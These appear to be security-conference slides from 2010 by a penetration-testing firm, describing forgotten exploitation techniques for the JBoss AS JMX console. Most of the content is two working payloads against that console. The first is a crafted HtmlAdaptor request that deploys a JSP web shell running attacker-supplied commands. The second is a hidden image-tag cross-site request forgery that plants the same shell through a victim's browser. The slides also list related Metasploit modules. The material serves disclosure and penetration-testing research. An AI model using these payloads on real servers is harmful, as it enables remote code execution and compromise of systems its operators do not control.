Forgotten JBoss AS Exploitation Techniques

Patrick Hof (patrick.hof@redteam-pentesting.de)
RedTeam Pentesting GmbH
http://www.redteam-pentesting.de

BruCON September 24, 2010

JBoss AS One-Click Remote Code Execution Exploit

Works in (at least) JBoss AS 3.2.0.SP1 – 5.1.0.GA:

```
http://www.example.com:8080/jmx-console/HtmlAdaptor
                ?action=invokeOpByName
                &name=jboss.admin:service=DeploymentFileRepository
                &methodName=store
                &argType=java.lang.String
  Folder Name: &arg0=shell.war
                &argType=java.lang.String
  File prefix: &arg1=shell
                &argType=java.lang.String
  File suffix: &arg2=.jsp
                &argType=java.lang.String
 File content: &arg3=<% Runtime.getRuntime().exec(
                        request.getParameter("c"));
                      %>
                &argType=boolean
No hot deploy: &arg4=True
```

Cross Site Request Forgery

Password-protected JMX Console?

CSRF is known to work since 2006:

```
<img style="visibility:hidden" src='http://localhost:8080/
jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.
admin%3Aservice%3DDeploymentFileRepository&methodName=store
&argType=java.lang.String&arg0=shell.war&argType=java.lang.
String&arg1=shell&argType=java.lang.String&arg2=.jsp&argType
=java.lang.String&arg3=%3C%25Runtime.getRuntime%28%29.exec
%28request.getParameter%28%22c%22%29%29%3B%25%3E%0A&argType
=boolean&arg4=True' />
```

More

Papers, Scripts

`http://www.redteam-pentesting.de/publications/jboss`

Metasploit

- ★ `jboss_maindeployer`
- ★ `jboss_bshdeployer`
- ★ `jboss_deploymentfilerepository`